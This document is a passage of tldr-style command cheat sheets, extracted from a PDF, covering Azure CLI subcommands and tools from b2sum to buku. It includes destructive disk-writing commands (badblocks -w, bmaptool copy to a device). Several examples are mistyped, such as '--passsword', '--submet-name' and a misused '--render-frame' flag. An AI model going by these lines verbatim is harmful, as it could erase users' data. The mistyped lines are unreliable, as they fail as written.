az appconfig list --resource-group {{rg_name}}

• Show properties of an App Configuration:

az appconfig show --name {{appconfig_name}}

• Update a specific App Configuration:

az appconfig update --resource-group {{rg_name}} --name


{{appconfig_name}}
az bicep
Bicep CLI command group.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/bicep.

• Install Bicep CLI:

az bicep install

• Build a Bicep file:

az bicep build --file {{path/to/file.bicep}}

• Attempt to decompile an ARM template file to a Bicep file:

az bicep decompile --file {{path/to/template_file.json}}

• Upgrade Bicep CLI to the latest version:

az bicep upgrade

• Display the installed version of Bicep CLI:

az bicep version

• List all available versions of Bicep CLI:

az bicep list-versions

• Uninstall Bicep CLI:

az bicep uninstall
az config
Manage Azure CLI configuration.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/config.

• Print all configurations:

az config get

• Print configurations for a specific section:

az config get {{section_name}}

• Set a configuration:

az config set {{configuration_name}}={{value}}

• Unset a configuration:

az config unset {{configuration_name}}


az feedback
Send feedback to the Azure CLI Team.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/reference-index#az_feedback.

• Send feedback to the Azure CLI Team:

az feedback
az lock
Manage Azure locks.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/lock.

• Create a read-only subscription level lock:

az lock create --name {{lock_name}} --lock-type ReadOnly

• Create a read-only resource group level lock:

az lock create --name {{lock_name}} --resource-group


{{group_name}} --lock-type ReadOnly

• Delete a subscription level lock:

az lock delete --name {{lock_name}}

• Delete a resource group level lock:

az lock delete --name {{lock_name}} --resource-group


{{group_name}}

• List out all locks on the subscription level:

az lock list

• Show a subscription level lock:

az lock show -n {{lock_name}}


az login
Log in to Azure.

Part of az, the command-line client for Microsoft Azure.

More information: https://docs.microsoft.com/cli/azure/reference-index#az_login.

• Log in interactively:

az login

• Log in with a service principal using a client secret:

az login --service-principal --username {{http://azure-cli-


service-principal}} --passsword {{secret}} --tenant
{{someone.onmicrosoft.com}}

• Log in with a service principal using a client certificate:

az login --service-principal --username {{http://azure-cli-


service-principal}} --password {{path/to/cert.pem}} --tenant
{{someone.onmicrosoft.com}}

• Log in using a VM's system assigned identity:

az login --identity

• Log in using a VM's user assigned identity:

az login --identity --username /subscriptions/


{{subscription_id}}/resourcegroups/{{my_rg}}/providers/
Microsoft.ManagedIdentity/userAssignedIdentities/{{my_id}}
az logout
Log out from an Azure subscription.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/reference-index#az_logout.

• Log out from the active account:

az logout

• Log out a specific username:

az logout --username {{alias@somedomain.com}}


az network
Manage Azure Network resources.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/network.

• List network resources in a region that are used against a subscription quota:

az network list-usages

• List all virtual networks in a subscription:

az network vnet list

• Create a virtual network:

az network vnet create --address-prefixes {{10.0.0.0/16}} --


name {{vnet}} --resource_group {{group_name}} --submet-name
{{subnet}} --subnet-prefixes {{10.0.0.0/24}}

• Enable accelerated networking for a network interface card:

az network nic update --accelerated-networking true --name


{{nic}} --resource-group {{resource_group}}
az pipelines
Manage Azure Pipelines resources.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/pipelines.

• Create a new Azure Pipeline (YAML based):

az pipelines create --org {{organization_url}} --project


{{project_name}} --name {{pipeline_name}} --description
{{description}} --repository {{repository_name}} --branch
{{branch_name}}

• Delete a specific pipeline:

az pipelines delete --org {{organization_url}} --project


{{project_name}} --id {{pipeline_id}}

• List pipelines:

az pipelines list --org {{organization_url}} --project


{{project_name}}

• Enqueue a specific pipeline to run:

az pipelines run --org {{organization_url}} --project


{{project_name}} --name {{pipeline_name}}

• Get the details of a specific pipeline:

az pipelines show --org {{organization_url}} --project


{{project_name}} --name {{pipeline_name}}

• Update a specific pipeline:

az pipelines update --org {{organization_url}} --project


{{project_name}} --name {{pipeline_name}} --new-name
{{pipeline_new_name}} --new-folder-path {{user1/
production_pipelines}}

• Get a list of agents in a pool:

az pipelines agent list --org {{organization_url}} --pool-id


{{agent_pool}}
az storage blob
Manage blob storage containers and objects in Azure.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/storage/blob.

• Download a blob to a file path:

az storage blob download --account-name


{{storage_account_name}} --account-key
{{storage_account_key}} -c {{container_name}} -n {{path/to/
blob}} -f {{path/to/local_file}}

• Download blobs from a blob container recursively:

az storage blob download-batch --account-name


{{storage_account_name}} --account-key
{{storage_account_key}} -s {{container_name}} -d {{path/to/
remote}} --pattern {{filename_regex}} --destination {{path/
to/destination}}

• Upload a local file to blob storage:

az storage blob upload --account-name


{{storage_account_name}} --account-key
{{storage_account_key}} -c {{container_name}} -n {{path/to/
blob}} -f {{path/to/local_file}}

• Delete a blob object:

az storage blob delete --account-name


{{storage_account_name}} --account-key
{{storage_account_key}} -c {{container_name}} -n {{path/to/
blob}}

• Generate a shared access signature for a blob:

az storage blob generate-sas --account-name


{{storage_account_name}} --account-key
{{storage_account_key}} -c {{container_name}} -n {{path/to/
blob}} --permissions {{permission_set}} --expiry {{Y-m-
d'T'H:M'Z'}} --https-only
az storage entity
Manage Azure Table storage entities.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/storage/entity.

• Insert an entity into a table:

az storage entity insert --entity


{{space_separated_key_value_pairs}} --table-name
{{table_name}} --account-name {{storage_account_name}} --
account-key {{storage_account_key}}

• Delete an existing entity from a table:

az storage entity delete --partition-key {{partition_key}} --


row-key {{row_key}} --table-name {{table_name}} --account-
name {{storage_account_name}} --account-key
{{storage_account_key}}

• Update an existing entity by merging its properties:

az storage entity merge --entity


{{space_separated_key_value_pairs}} --table-name
{{table_name}} --account-name {{storage_account_name}} --
account-key {{storage_account_key}}

• List entities which satisfy a query:

az storage entity query --filter {{query_filter}} --table-


name {{table_name}} --account-name {{storage_account_name}}
--account-key {{storage_account_key}}

• Get an entity from the specified table:

az storage entity show --partition-key {{partition_key}} --


row-key {{row_key}} --table-name {{table_name}} --account-
name {{storage_account_name}} --account-key
{{storage_account_key}}
az storage
Manage Azure Cloud Storage resources.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/storage.

• Create a storage account:

az storage account create -g {{group_name}} -n


{{account_name}} -l {{location}} --sku {{account_sku}}

• List all storage accounts in a resource group:

az storage account list -g {{group_name}}

• List the access keys for a storage account:

az storage account keys list -g {{group_name}} -n


{{account_name}}

• Delete a storage account:

az storage account delete -g {{group_name}} -n


{{account_name}}

• Update the minimum tls version setting for a storage account:

az storage account update --min-tls-version TLS1_2 -g


{{group_name}} -n {{account_name}}
az tag
Manage tags on a resource.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/tag.

• Create a tag value:

az tag add-value --name {{tag_name}} --value {{tag_value}}

• Create a tag in the subscription:

az tag create --name {{tag_name}}

• Delete a tag from the subscription:

az tag delete --name {{tag_name}}

• List all tags on a subscription:

az tag list --resource-id /subscriptions/{{subscription_id}}

• Delete a tag value for a specific tag name:

az tag remove-value --name {{tag_name}} --value {{tag_value}}


az term
Manage marketplace agreement with marketplaceordering.

Part of azure-cli.

More information: https://docs.microsoft.com/cli/azure/term.

• Print marketplace terms:

az term show --product "{{product_identifier}}" --plan


"{{plan_identifier}}" --publisher "{{publisher_identifier}}"

• Accept marketplace terms:

az term accept --product "{{product_identifier}}" --plan


"{{plan_identifier}}" --publisher "{{publisher_identifier}}"
az vm
Manage virtual machines in Azure.

Part of az, the command-line client for Microsoft Azure.

More information: https://docs.microsoft.com/cli/azure/vm.

• List details of available Virtual Machines:

az vm list

• Create an UbuntuServer 18.04 LTS Virtual Machine and generate ssh keys:

az vm create --resource-group {{rg}} --name {{vm_name}} --


image {{Canonical:UbuntuServer:18.04-LTS:latest}} --admin-
user {{azureuser}} --generate-ssh-keys

• Stop a Virtual Machine:

az vm stop --resource-group {{rg}} --name {{vm_name}}

• Deallocate a Virtual Machine:

az vm deallocate --resource-group {{rg}} --name {{vm_name}}

• Start a Virtual Machine:

az vm start --resource-group {{rg}} --name {{vm_name}}

• Restart a Virtual Machine:

az vm restart --resource-group {{rg}} --name {{vm_name}}

• List VM images available in the Azure Marketplace:

az vm image list
az
The official CLI tool for Microsoft Azure.

Some subcommands such as az login have their own usage documentation.

More information: https://docs.microsoft.com/cli/azure.

• Log in to Azure:

az login

• Manage azure subscription information:

az account

• List all Azure Managed Disks:

az disk list

• List all Azure virtual machines:

az vm list

• Manage Azure Kubernetes Services:

az aks

• Manage Azure Network resources:

az network
b2sum
Calculate BLAKE2 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/b2sum.

• Calculate the BLAKE2 checksum for a file:

b2sum {{path/to/file}}

• Calculate BLAKE2 checksums for multiple files:

b2sum {{path/to/file1}} {{path/to/file2}}

• Read a file of BLAKE2 sums and filenames and verify all files have matching
checksums:

b2sum -c {{path/to/file.b2}}

• Calculate the BLAKE2 checksum from stdin:

{{some_command}} | b2sum
babel
A transpiler which converts code from JavaScript ES6/ES7 syntax to ES5 syntax.

More information: https://babeljs.io/.

• Transpile a specified input file and output to stdout:

babel {{path/to/file}}

• Transpile a specified input file and output to a specific file:

babel {{path/to/input_file}} --out-file {{path/to/


output_file}}

• Transpile the input file every time it is changed:

babel {{path/to/input_file}} --watch

• Transpile a whole directory of files:

babel {{path/to/input_directory}}

• Ignore specified comma-separated files in a directory:

babel {{path/to/input_directory}} --ignore {{ignored_files}}

• Transpile and output as minified JavaScript:

babel {{path/to/input_file}} --minified

• Choose a set of presets for output formatting:

babel {{path/to/input_file}} --presets {{presets}}

• Output all available options:

babel --help
badblocks
Search a device for bad blocks.

Some usages of badblocks can cause destructive actions, such as erasing all data on a
disk, including the partition table.

More information: https://manned.org/badblocks.

• Search a disk for bad blocks by using a non-destructive read-only test:

sudo badblocks {{/dev/sdX}}

• Search an unmounted disk for bad blocks with a non-destructive read-write test:

sudo badblocks -n {{/dev/sdX}}

• Search an unmounted disk for bad blocks with a destructive write test:

sudo badblocks -w {{/dev/sdX}}

• Search an unmounted disk for bad blocks with a destructive write test and show
verbose status:

sudo badblocks -svw {{/dev/sdX}}

• Search an unmounted disk in destructive mode and output found blocks to a file:

sudo badblocks -o {{path/to/file}} -w {{/dev/sdX}}

• Search an unmounted disk in destructive mode with improved speed using 4K


block size and 64K block count:

sudo badblocks -w -b {{4096}} -c {{65536}} {{/dev/sdX}}


balena
Interact with the balenaCloud, openBalena and the balena API from the command-line.

More information: https://www.balena.io/docs/reference/cli/.

• Log in to the balenaCloud account:

balena login

• Create a balenaCloud or openBalena application:

balena app create {{app_name}}

• List all balenaCloud or openBalena applications within the account:

balena apps

• List all devices associated with the balenaCloud or openBalena account:

balena devices

• Flash a balenaOS image to a local drive:

balena local flash {{path/to/balenaos.img}} --drive


{{drive_location}}
bandwhich
Display the current network utilization by process, connection or remote IP/hostname.

More information: https://github.com/imsnif/bandwhich.

• Show the remote addresses table only:

bandwhich --addresses

• Show DNS queries:

bandwhich --show-dns

• Show total (cumulative) usage:

bandwhich --total-utilization

• Show the network utilization for a specific network interface:

bandwhich --interface {{eth0}}

• Show DNS queries with a given DNS server:

bandwhich --show-dns --dns-server {{dns_server_ip}}


banner
Print the given argument as a large ASCII art.

More information: https://man.archlinux.org/man/banner.1.

• Print the text message as a large banner (quotes are optional):

banner "{{Hello World}}"

• Print the text message as a banner with a width of 50 characters:

banner -w {{50}} "{{Hello World}}"

• Read text from stdin:

banner
base32
Encode or decode file or standard input to/from Base32, to standard output.

More information: https://www.gnu.org/software/coreutils/base32.

• Encode a file:

base32 {{filename}}

• Decode a file:

base32 --decode {{filename}}

• Encode from stdin:

{{somecommand}} | base32

• Decode from stdin:

{{somecommand}} | base32 --decode


base64
Encode or decode file or standard input to/from Base64, to standard output.

More information: https://www.gnu.org/software/coreutils/base64.

• Encode the contents of a file as base64 and write the result to stdout:

base64 {{filename}}

• Decode the base64 contents of a file and write the result to stdout:

base64 --decode {{filename}}

• Encode from stdin:

{{somecommand}} | base64

• Decode from stdin:

{{somecommand}} | base64 --decode


basename
Remove leading directory portions from a path.

More information: https://www.gnu.org/software/coreutils/basename.

• Show only the file name from a path:

basename {{path/to/file}}

• Show only the rightmost directory name from a path:

basename {{path/to/directory/}}

• Show only the file name from a path, with a suffix removed:

basename {{path/to/file}} {{suffix}}


bash
Bourne-Again SHell, an sh-compatible command-line interpreter.

See also histexpand for history expansion.

More information: https://gnu.org/software/bash/.

• Start an interactive shell session:

bash

• Execute a command and then exit:

bash -c "{{command}}"

• Execute a script:

bash {{path/to/script.sh}}

• Execute a script, printing each command before executing it:

bash -x {{path/to/script.sh}}

• Execute commands from a script, stopping at the first error:

bash -e {{path/to/script.sh}}

• Read and execute commands from stdin:

bash -s

• Print the Bash version ($BASH_VERSION contains the version without license
information):

bash --version
bashmarks
Save and jump to commonly used directories using 1 character commands.

More information: https://github.com/huyng/bashmarks.

• List available bookmarks:

• Save the current directory as "bookmark_name":

s {{bookmark_name}}

• Go to a bookmarked directory:

g {{bookmark_name}}

• Print a bookmarked directory's contents:

p {{bookmark_name}}

• Delete a bookmark:

d {{bookmark_name}}
bastet
Clone of the game Tetris in the terminal.

More information: https://fph.altervista.org/prog/bastet.html.

• Start a Tetris game:

bastet

• Navigate the piece horizontally:

{{Left|Right}} arrow key

• Rotate the piece clockwise or counterclockwise:

{{Spacebar|Up arrow key}}

• Soft drop the piece:

Down arrow key

• Hard drop the piece:

Enter

• Pause the game:

• Quit the game:

Ctrl + C
bat
Print and concatenate files.

A cat clone with syntax highlighting and Git integration.

More information: https://github.com/sharkdp/bat.

• Print the contents of a file to the standard output:

bat {{file}}

• Concatenate several files into the target file:

bat {{file1}} {{file2}} > {{target_file}}

• Append several files into the target file:

bat {{file1}} {{file2}} >> {{target_file}}

• Number all output lines:

bat -n {{file}}

• Syntax highlight a JSON file:

bat --language json {{file.json}}

• Display all supported languages:

bat --list-languages
batch
Execute commands at a later time when the system load levels permit.

Service atd (or atrun) should be running for the actual executions.

More information: https://man.archlinux.org/man/at.1.

• Execute commands from standard input (press Ctrl + D when done):

batch

• Execute a command from standard input:

echo "{{./make_db_backup.sh}}" | batch

• Execute commands from a given file:

batch -f {{path/to/file}}
bc
An arbitrary precision calculator language.

See also: dc.

More information: https://manned.org/man/bc.1.

• Start an interactive session:

bc

• Start an interactive session with the standard math library enabled:

bc --mathlib

• Calculate an expression:

echo '{{5 / 3}}' | bc

• Execute a script:

bc {{path/to/script.bc}}

• Calculate an expression with the specified scale:

echo 'scale = {{10}}; {{5 / 3}}' | bc

• Calculate a sine/cosine/arctangent/natural logarithm/exponential function using


mathlib:

echo '{{s|c|a|l|e}}({{1}})' | bc --mathlib


bcomps
Decompose graphs into their biconnected components.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://graphviz.org/pdf/bcomps.1.pdf.

• Decompose one or more graphs into their biconnected components:

bcomps {{path/to/input1.gv}} {{path/to/input2.gv ...}} >


{{path/to/output.gv}}

• Print the number of blocks and cutvertices in one or more graphs:

bcomps -v -s {{path/to/input1.gv}} {{path/to/input2.gv ...}}

• Write each block and block-cutvertex tree to multiple numbered filenames based
on output.gv:

bcomps -x -o {{path/to/output.gv}} {{path/to/input1.gv}}


{{path/to/input2.gv ...}}

• Display help for bcomps:

bcomps -?
beanstalkd
A simple and generic work-queue server.

More information: https://beanstalkd.github.io/.

• Start beanstalkd, listening on port 11300:

beanstalkd

• Start beanstalkd listening on a custom port and address:

beanstalkd -l {{ip_address}} -p {{port_number}}

• Persist work queues by saving them to disk:

beanstalkd -b {{path/to/persistence_directory}}

• Sync to the persistence directory every 500 milliseconds:

beanstalkd -b {{path/to/persistence_directory}} -f {{500}}


bedtools
A swiss-army knife of tools for genomic-analysis tasks.

Used to intersect, group, convert and count data in BAM, BED, GFF/GTF, VCF format.

More information: https://bedtools.readthedocs.io.

• Intersect two files regarding the sequences' strand and save the result to the
specified file:

bedtools intersect -a {{path/to/file_1}} -b {{path/to/


file_2}} -s > {{path/to/output_file}}

• Intersect two files with a left outer join, i.e. report each feature from {{file_1}} and
NULL if no overlap with {{file_2}}:

bedtools intersect -a {{path/to/file_1}} -b {{path/to/


file_2}} -lof > {{path/to/output_file}}

• Using more efficient algorithm to intersect two pre-sorted files:

bedtools intersect -a {{path/to/file_1}} -b {{path/to/


file_2}} -sorted > {{path/to/output_file}}

• Group file {{path/to/file}} based on the first three and the fifth column and
summarize the sixth column by summing it up:

bedtools groupby -i {{path/to/file}} -c 1-3,5 -g 6 -o sum

• Convert bam-formatted file to a bed-formatted one:

bedtools bamtobed -i {{path/to/file}}.bam > {{path/to/


file}}.bed

• Find for all features in {{file_1}}.bed the closest one in {{file_2}}.bed and write their
distance in an extra column (input files must be sorted):

bedtools closest -a {{path/to/file_1}}.bed -b {{path/to/


file_2}}.bed -d
behat
A PHP framework for Behaviour-Driven Development.

More information: https://behat.org.

• Initialise a new Behat project:

behat --init

• Run all tests:

behat

• Run all tests from the specified suite:

behat --suite={{suite_name}}

• Run tests with a specific output formatter:

behat --format {{pretty|progress}}

• Run tests and output results to a file:

behat --out {{path/to/file}}

• Display a list of definitions in your test suites:

behat --definitions
berks
Chef cookbook dependency manager.

More information: https://docs.chef.io/berkshelf.html.

• Install cookbook dependencies into a local repo:

berks install

• Update a specific cookbook and its dependencies:

berks update {{cookbook}}

• Upload a cookbook to the Chef server:

berks upload {{cookbook}}

• View the dependencies of a cookbook:

berks contingent {{cookbook}}


betty
Use natural language to execute commands.

More information: https://github.com/pickhardt/betty.

• Ask Betty something:

betty {{what time is it}}

• Ask Betty version:

betty version

• Download a file:

betty download {{https://example.com/file.png}} to


{{file.png}}

• Compress a file or directory to one of the support archive formats:

betty {{zip}} {{path/to/file_or_directory}}

• Extract an archive into the current directory:

betty {{unzip}} {{archive.tar.gz}}

• Extract an archive into a directory:

betty unarchive {{archive.tar.gz}} to {{directory}}

• Play Spotify:

betty play {{Spotify}}

• Drive Betty to madness:

betty go crazy
bfg
Remove large files or passwords from Git history like git-filter-branch.

Note: if your repository is connected to a remote, you will need to force push to it.

More information: https://rtyley.github.io/bfg-repo-cleaner/.

• Remove a file with sensitive data but leave the latest commit untouched:

bfg --delete-files {{file_with_sensitive_data}}

• Remove all text mentioned in the specified file wherever it can be found in the
repository's history:

bfg --replace-text {{path/to/file.txt}}


bg
Resumes jobs that have been suspended (e.g. using Ctrl + Z), and keeps them running
in the background.

More information: https://manned.org/bg.

• Resume the most recently suspended job and run it in the background:

bg

• Resume a specific job (use jobs -l to get its ID) and run it in the background:

bg %{{job_id}}
bison
GNU parser generator.

More information: https://www.gnu.org/software/bison/.

• Compile a bison definition file:

bison {{path/to/file.y}}

• Compile in debug mode, which causes the resulting parser to write additional
information to the standard output:

bison --debug {{path/to/file.y}}

• Specify the output filename:

bison --output {{path/to/output.c}} {{path/to/file.y}}

• Be verbose when compiling:

bison --verbose
bitcoin-cli
Command-line client to interact with the Bitcoin daemon via RPC calls.

Uses the configuration defined in bitcoin.conf.

More information: https://en.bitcoin.it/wiki/Running_Bitcoin#Command-


line_arguments.

• Send a transaction to a given address:

bitcoin-cli sendtoaddress "{{address}}" {{amount}}

• Generate one or more blocks:

bitcoin-cli generate {{num_blocks}}

• Print high-level information about the wallet:

bitcoin-cli getwalletinfo

• List all outputs from previous transactions available to fund outgoing


transactions:

bitcoin-cli listunspent

• Export the wallet information to a text file:

bitcoin-cli dumpwallet "{{path/to/file}}"


black
A Python auto code formatter.

More information: https://github.com/psf/black.

• Auto-format a file or entire directory:

black {{path/to/file_or_directory}}

• Format the code passed in as a string:

black -c "{{code}}"

• Output the changes that would be applied for each file:

black --diff {{path/to/file_or_directory}}

• Perform a dry run (print what would be done without actually doing it):

black --check {{path/to/file_or_directory}}

• Auto-format a file or directory emitting exclusively error messages to stderr:

black --quiet {{path/to/file_or_directory}}

• Auto-format a file or directory without replacing single quotes with double quotes
(adoption helper, avoid using this for new projects):

black --skip-string-normalization {{path/to/


file_or_directory}}
blackfire
A command-line profiling tool for PHP.

More information: https://blackfire.io.

• Initialise and configure the Blackfire client:

blackfire config

• Launch the Blackfire agent:

blackfire agent

• Launch the Blackfire agent on a specific socket:

blackfire agent --socket="{{tcp://127.0.0.1:8307}}"

• Run the profiler on a specific program:

blackfire run {{php path/to/file.php}}

• Run the profiler and collect 10 samples:

blackfire --samples={{10}} run {{php path/to/file.php}}

• Run the profiler and output results as JSON:

blackfire --json run {{php path/to/file.php}}

• Upload a profiler file to the Blackfire web service:

blackfire upload {{path/to/file}}

• View the status of profiles on the Blackfire web service:

blackfire status
blender
Command-line interface to the Blender 3D computer graphics application.

Arguments are executed in the order they are given.

More information: https://manned.org/blender.

• Render all frames of an animation in the background, without loading the UI


(output is saved to /tmp):

blender --background {{filename}}.blend --render-anim

• Render an animation using a specific image naming pattern, in a path relative (//)
to the .blend file:

blender --background {{filename}}.blend --render-output //


{{render/frame_###.png}} --render-anim

• Render the 10th frame of an animation as a single image, saved to an existing


directory (absolute path):

blender --background {{filename}}.blend --render-output {{/


path/to/output_directory}} --render-frame {{10}}

• Render the second last frame in an animation as a JPEG image, saved to an


existing directory (relative path):

blender --background {{filename}}.blend --render-output //


{{output_directory}} --render-frame {{JPEG}} --render-frame
{{-2}}

• Render the animation of a specific scene, starting at frame 10 and ending at frame
500:

blender --background {{filename}}.blend --scene


{{scene_name}} --frame-start {{10}} -e {{500}} --render-anim

• Render an animation at a specific resolution, by passing a Python expression:

blender --background {{filename}}.blend --python-expr


'{{import bpy;
bpy.data.scenes[0].render.resolution_percentage = 25}}' --
render-anim

• Start an interactive Blender session in the terminal with a python console (do
import bpy after starting):
blender --background --python-console
blockout2
Tetris like game in 3D.

More information: http://www.blockout.net/blockout2/.

• Start a new game:

blockout2

• Navigate the current piece on a 2D plane:

{{Up|Down|Left|Right}} arrow key

• Rotate the piece on its axis:

{{Q|W|E|A|S|D}}

• Hard drop the current piece:

Spacebar

• Pause/unpause the game:

p
bmaptool
Create or copy block maps intelligently (designed to be faster than cp or dd).

More information: https://source.tizen.org/documentation/reference/bmaptool.

• Create a blockmap from image file:

bmaptool create -o {{blockmap.bmap}} {{source.img}}

• Copy an image file into sdb:

bmaptool copy --bmap {{blockmap.bmap}} {{source.img}} {{/dev/


sdb}}

• Copy a compressed image file into sdb:

bmaptool copy --bmap {{blockmap.bmap}} {{source.img.gz}} {{/


dev/sdb}}

• Copy an image file into sdb without using a blockmap:

bmaptool copy --nobmap {{source.img}} {{/dev/sdb}}


boot
Build tooling for the Clojure programming language.

More information: https://github.com/boot-clj/boot.

• Start a REPL session either with the project or standalone:

boot repl

• Build a single uberjar:

boot jar

• Learn about a command:

boot cljs --help

• Generate scaffolding for a new project based on a template:

boot --dependencies boot/new new --template {{template_name}}


--name {{project_name}}

• Build for development (if using the boot/new template):

boot dev

• Build for production (if using the boot/new template):

boot prod
bootctl
Control EFI firmware boot settings and manage boot loader.

More information: https://man.archlinux.org/man/bootctl.1.

• Show information about the system firmware and the bootloaders:

sudo bootctl status

• Set a flag to boot into the system firmware on the next boot (similar to sudo
systemctl reboot --firmware-setup):

sudo bootctl reboot-to-firmware true

• Specify the path to the EFI system partition (defaults to /efi/, /boot/ or /
boot/efi):

sudo bootctl --esp-path={{/path/to/efi_system_partition/}}

• Show all available bootloader entries:

sudo bootctl list

• Install systemd-boot into the EFI system partition:

sudo bootctl install

• Remove all installed versions of systemd-boot from the EFI system partition:

sudo bootctl remove


borg
Deduplicating backup tool.

Creates local or remote backups that are mountable as filesystems.

More information: https://borgbackup.readthedocs.io/en/stable/usage/general.html.

• Initialise a (local) repository:

borg init {{path/to/repo_directory}}

• Backup a directory into the repository, creating an archive called "Monday":

borg create --progress {{path/to/repo_directory}}::{{Monday}}


{{path/to/source_directory}}

• List all archives in a repository:

borg list {{path/to/repo_directory}}

• Extract a specific directory from the "Monday" archive in a remote repository,


excluding all *.ext files:

borg extract {{user}}@{{host}}:{{path/to/repo_directory}}::


{{Monday}} {{path/to/target_directory}} --exclude '{{*.ext}}'

• Prune a repository by deleting all archives older than 7 days, listing changes:

borg prune --keep-within {{7d}} --list {{path/to/


repo_directory}}

• Mount a repository as a FUSE filesystem:

borg mount {{path/to/repo_directory}}::{{Monday}} {{path/to/


mountpoint}}

• Display help on creating archives:

borg create --help


bosh
Command-line tool to deploy and manage the bosh director.

More information: https://bosh.io/docs/cli-v2/.

• Create local alias for director:

bosh alias-env {{environment_name}} -e {{ip_address|url}} --


ca-cert {{ca_certificate}}

• List environments:

bosh environments

• Log in to the director:

bosh login -e {{environment}}

• List deployments:

bosh -e {{environment}} deployments

• List environment virtual machines:

bosh -e {{environment}} vms -d {{deployment}}

• Ssh into virtual machine:

bosh -e {{environment}} ssh {{virtual_machine}} -d


{{deployment}}

• Upload stemcell:

bosh -e {{environment}} upload-stemcell {{stemcell_file|url}}

• Show current cloud config:

bosh -e {{environment}} cloud-config


bower
A package manager optimized for front-end web development.

A package can be a GitHub user/repo shorthand, a Git endpoint, a URL or a registered


package.

More information: https://bower.io/.

• Install a project's dependencies, listed in its bower.json:

bower install

• Install one or more packages to the bower_components directory:

bower install {{package}} {{package}}

• Uninstall packages locally from the bower_components directory:

bower uninstall {{package}} {{package}}

• List local packages and possible updates:

bower list

• Display help information about a bower command:

bower help {{command}}

• Create a bower.json file for your package:

bower init

• Install a specific dependency version, and add it to bower.json:

bower install {{local_name}}={{package}}#{{version}} --save


box
A PHP application for building and managing Phars.

More information: https://github.com/box-project/box.

• Compile a new Phar file:

box compile

• Compile a new Phar file using a specific config file:

box compile -c {{path/to/config}}

• Display information about the PHAR PHP extension:

box info

• Display information about a specific Phar file:

box info {{path/to/phar_file}}

• Validate the first found config file in the working directory:

box validate

• Verify the signature of a specific Phar file:

box verify {{path/to/phar_file}}

• Display all available commands and options:

box help
brew bundle
Bundler for Homebrew, Homebrew Cask and the Mac App Store.

More information: https://github.com/Homebrew/homebrew-bundle.

• Install packages from a Brewfile at the current path:

brew bundle

• Install packages from a specific Brewfile at a specific path:

brew bundle --file={{path/to/file}}

• Create a Brewfile from all installed packages:

brew bundle dump

• Uninstall all formulae not listed in the Brewfile:

brew bundle cleanup --force

• Check if there is anything to install or upgrade in the Brewfile:

brew bundle check

• Output a list of all entries in the Brewfile:

brew bundle list --all


brew cask
Package manager for macOS applications distributed as binaries.

More information: https://github.com/Homebrew/homebrew-cask.

• Search for formulas and casks:

brew search {{text}}

• Install a cask:

brew cask install {{cask_name}}

• List all installed casks:

brew list --cask

• List installed casks that have newer versions available:

brew outdated --cask

• Upgrade an installed cask (if no cask name is given, all installed casks are
upgraded):

brew upgrade --cask {{cask_name}}

• Uninstall a cask:

brew cask uninstall {{cask_name}}

• Uninstall a cask and remove related settings and files:

brew cask zap {{cask_name}}

• Display information about a given cask:

brew cask info {{cask_name}}


brew
Package manager for macOS and Linux.

More information: https://brew.sh.

• Install the latest stable version of a formula or cask (use --devel for
development versions):

brew install {{formula}}

• List all installed formulae and casks:

brew list

• Upgrade an installed formula or cask (if none is given, all installed formulae/casks
are upgraded):

brew upgrade {{formula}}

• Fetch the newest version of Homebrew and of all formulae and casks from the
Homebrew source repository:

brew update

• Show formulae and casks that have a more recent version available:

brew outdated

• Search for available formulae (i.e. packages) and casks (i.e. native packages):

brew search {{text}}

• Display information about a formula or a cask (version, installation path,


dependencies, etc.):

brew info {{formula}}

• Check the local Homebrew installation for potential problems:

brew doctor
brotli
Compress/uncompress files with Brotli compression.

More information: https://github.com/google/brotli.

• Compress a file, creating a compressed version next to the file:

brotli {{file.ext}}

• Decompress a file, creating an uncompressed version next to the file:

brotli -d {{file.ext}}.br

• Compress a file specifying the output filename:

brotli {{file.ext}} -o {{compressed_file.ext.br}}

• Decompress a Brotli file specifying the output filename:

brotli -d {{compressed_file.ext.br}} -o {{file.ext}}

• Specify the compression level. 1=Fastest (Worst), 11=Slowest (Best):

brotli -q {{11}} {{file.ext}} -o {{compressed_file.ext.br}}


browser-sync
Starts local web server that updates browser on file changes.

More information: https://browsersync.io/docs/command-line.

• Start a server from a specific directory:

browser-sync start --server {{path/to/directory}} --files


{{path/to/directory}}

• Start a server from local directory, watching all CSS files in a directory:

browser-sync start --server --files '{{path/to/directory/


*.css}}'

• Create configuration file:

browser-sync init

• Start browser-sync from config file:

browser-sync start --config {{config_file}}


bshell
A GUI tool for browsing for SSH/VNC servers on the local network.

See also: bssh and bvnc.

More information: https://linux.extremeoverclocking.com/man/1/bssh.

• Browse for both SSH and VNC servers:

bshell

• Browse for SSH servers only:

bshell --ssh

• Browse for VNC servers only:

bshell --vnc

• Browse for both SSH and VNC servers in a specified domain:

bshell --domain={{domain}}
bssh
A GUI tool for browsing for SSH/VNC servers on the local network.

See also: bvnc and bshell.

More information: https://linux.extremeoverclocking.com/man/1/bssh.

• Browse for SSH servers:

bssh

• Browse for VNC servers:

bssh --vnc

• Browse for both SSH and VNC servers:

bssh --shell

• Browse for SSH servers in a specified domain:

bssh --domain={{domain}}
btm
An alternative to top.

Aims to be lightweight, cross-platform and more graphical than top.

More information: https://github.com/ClementTsang/bottom.

• Show the default layout (CPU, memory, temperatures, disk, network, and
processes):

btm

• Enable basic mode, removing charts and condensing data (similar to top):

btm --basic

• Use big dots instead of small ones in charts:

btm --dot_marker

• Show also battery charge and health status:

btm --battery

• Refresh every 250 milliseconds and show the last 30 seconds in the charts:

btm --rate 250 --default_time_value 30000


buku
Command-line browser-independent bookmark manager.

More information: https://github.com/jarun/Buku.

• Display all bookmarks matching "keyword" and with "privacy" tag:

buku {{keyword}} --stag {{privacy}}

• Add bookmark with tags "search engine" and "privacy":

buku --add {{https://example.com}} {{search engine}},


{{privacy}}

• Delete a bookmark:

buku --delete {{bookmark_id}}

